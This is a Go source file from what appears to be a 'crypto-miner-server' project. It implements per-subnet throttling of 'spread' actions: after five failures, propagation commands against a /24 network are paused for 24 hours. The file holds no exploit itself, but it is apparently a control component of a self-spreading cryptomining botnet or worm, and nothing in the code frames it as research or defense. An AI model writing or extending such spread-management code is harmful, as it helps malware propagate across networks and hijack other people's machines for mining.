package atlas import ( "time" "crypto-miner-server/internal/db" ) const ( SubnetSpreadFailureThreshold = 5 SubnetSpreadPauseDuration = 24 * time.Hour ) // SubnetImmune applies fleet-wide /24 spread pause after repeated failures. type SubnetImmune struct { db *db.Database } func NewSubnetImmune(database *db.Database) *SubnetImmune { return &SubnetImmune{db: database} } // PrefixFromHostOrIP normalizes a host IP or subnet label to a /24 prefix key. func PrefixFromHostOrIP(hostOrSubnet string) string { return SubnetPrefix(hostOrSubnet) } // RecordSpreadFailure increments subnet failure count; returns true when pause activates. func (s *SubnetImmune) RecordSpreadFailure(hostOrSubnet string) (bool, error) { if s == nil || s.db == nil { return false, nil } prefix := PrefixFromHostOrIP(hostOrSubnet) if prefix == "" { return false, nil } return s.db.RecordSubnetSpreadFailure(prefix) } // IsSpreadPaused reports whether spread commands targeting prefix should be blocked. func (s *SubnetImmune) IsSpreadPaused(hostOrSubnet string) (bool, error) { if s == nil || s.db == nil { return false, nil } prefix := PrefixFromHostOrIP(hostOrSubnet) if prefix == "" { return false, nil } return s.db.IsSubnetSpreadPaused(prefix) } // SpreadActionBlocked returns an error when prefix is under immune pause. func (s *SubnetImmune) SpreadActionBlocked(hostOrSubnet string) error { paused, err := s.IsSpreadPaused(hostOrSubnet) if err != nil { return err } if paused { return &SpreadPauseError{Prefix: PrefixFromHostOrIP(hostOrSubnet)} } return nil } // SpreadPauseError is returned when a /24 is under subnet immune response. type SpreadPauseError struct { Prefix string } func (e *SpreadPauseError) Error() string { if e == nil || e.Prefix == "" { return "subnet spread paused (immune response)" } return "subnet " + e.Prefix + " spread paused for 24h (immune response)" }